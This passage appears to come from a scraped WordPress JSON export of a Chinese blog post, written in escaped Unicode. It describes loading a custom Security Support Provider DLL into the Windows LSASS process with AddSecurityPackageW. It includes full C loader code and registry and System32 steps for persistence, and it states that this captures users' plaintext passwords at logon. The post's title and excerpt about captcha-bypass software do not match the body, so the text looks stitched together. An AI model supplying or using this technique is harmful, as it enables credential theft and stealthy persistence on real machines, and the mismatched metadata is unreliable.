        \u7136\u800c\uff0c\u5229\u7528\u67d0\u4e9b Windows API\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u4e0d\u91cd\u542f\u7684\u60c5\u51b5\u4e0b\u6dfb\u52a0 SSP\/AP\u3002<\/p>\n

        4. \u5229\u7528 AddSecurityPackage API \u6765\u52a0\u8f7d SSP\/AP<\/h3>\n

        AddSecurityPackage \u662f\u4e00\u4e2a SSPI \u51fd\u6570\uff0c\u7528\u4e8e\u5c06\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\u6dfb\u52a0\u5230\u63d0\u4f9b\u7a0b\u5e8f\u5217\u8868\u4e2d\uff0c\u8be5\u51fd\u6570\u58f0\u660e\u5982\u4e0b\u3002<\/p>\n

        SECURITY_STATUS SEC_ENTRY AddSecurityPackageW(\n  [in] LPSTR                     pszPackageName,\n  [in] PSECURITY_PACKAGE_OPTIONS pOptions\n);<\/code><\/pre>\n

        \u53c2\u6570\u5982\u4e0b\uff1a<\/p>\n

          \n
        • \n

          \u2022 [in] pszPackageName\uff1a\u8981\u6dfb\u52a0\u7684\u5305\u7684\u540d\u79f0\u3002<\/p>\n<\/li>\n

        • \n

          \u2022 [in] pOptions\uff1a\u6307\u5411 SECURITY_PACKAGE_OPTIONS<\/code> \u7ed3\u6784\u7684\u6307\u9488\uff0c\u8be5\u7ed3\u6784\u6307\u5b9a\u6709\u5173\u5b89\u5168\u5305\u7684\u5176\u4ed6\u4fe1\u606f\u3002<\/p>\n<\/li>\n<\/ul>\n

          \u901a\u8fc7 C\/C++ \u521b\u5efa\u4e00\u4e2a\u540d\u4e3a AddSSP \u7684\u9879\u76ee\uff0c\u5176\u4ee3\u7801\u5982\u4e0b\u6240\u793a\u3002<\/p>\n

          #define SECURITY_WIN32\n\n#include <stdio.h>\n#include <Windows.h>\n#include <Security.h>\n#pragma comment(lib,\"Secur32.lib\")\n\nint wmain(int argc, char** argv) {\n\n    SECURITY_PACKAGE_OPTIONS option;\n    option.Size = sizeof(option);\n    option.Flags = 0;\n    option.Type = SECPKG_OPTIONS_TYPE_LSA;\n    option.SignatureSize = 0;\n    option.Signature = NULL;\n    \n    \/\/ AddSecurityPackageW \u9ed8\u8ba4\u5728 System32 \u76ee\u5f55\u4e2d\u641c\u7d22 CustSSP.dll\n    if (AddSecurityPackageW((LPWSTR)L\"CustSSP\", &option) == SEC_E_OK)\n    {\n        wprintf(L\"[*] Add security package successfully\\n\");\n    }\n}<\/code><\/pre>\n

          \u7f16\u8bd1\u5e76\u751f\u6210 AddSSP.exe \u540e\uff0c\u8fd0\u884c AddSSP.exe \u5373\u53ef\u6210\u529f\u5c06 CustSSP.dll \u6dfb\u52a0\u5230\u7cfb\u7edf\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u4ee5\u4e0a\u4ee3\u7801\u4ec5\u5c06 CustSSP \u52a0\u8f7d\u5230 LSASS \u8fdb\u7a0b\u4e2d\uff0c\u7cfb\u7edf\u91cd\u542f\u540e\u4f1a\u5931\u6548\uff0c\u56e0\u6b64\u4ecd\u9700\u5c06 \u201cCustSSP\u201d \u6dfb\u52a0\u5230 Security Packages \u6ce8\u518c\u8868\u5e76\u5c06 CustSSP.dll \u7f6e\u4e8e C:\\Windows\\System32 \u76ee\u5f55\u4e2d\u3002<\/p>\n

          \u5f53\u7528\u6237\u8f93\u5165\u7528\u6237\u540d\u5bc6\u7801\u91cd\u65b0\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\u65f6\uff0c\u6211\u4eec\u91cd\u65b0\u5f97\u5230\u4e86\u4ed6\u7684\u660e\u6587\u5bc6\u7801\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002<\/p>\n

          \"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6<\/p>\n","protected":false},"excerpt":{"rendered":"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6\u81ea\u5b9a\u4e49\u5b89\u5168\u5305API\u652f\u6301\u7ec4\u5408\u5f00\u53d1\u81ea\u5b9a\u4e49\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\uff08SSP\uff09\uff0c\u540e\u8005\u4e3a\u5ba2\u6237\u7aef\/\u670d\u52a1\u5668\u5e94\u7528\u7a0b...","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/posts\/8720"}],"collection":[{"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/comments?post=8720"}],"version-history":[{"count":0,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/posts\/8720\/revisions"}],"wp:attachment":[{"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/media?parent=8720"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/categories?post=8720"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/tags?post=8720"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}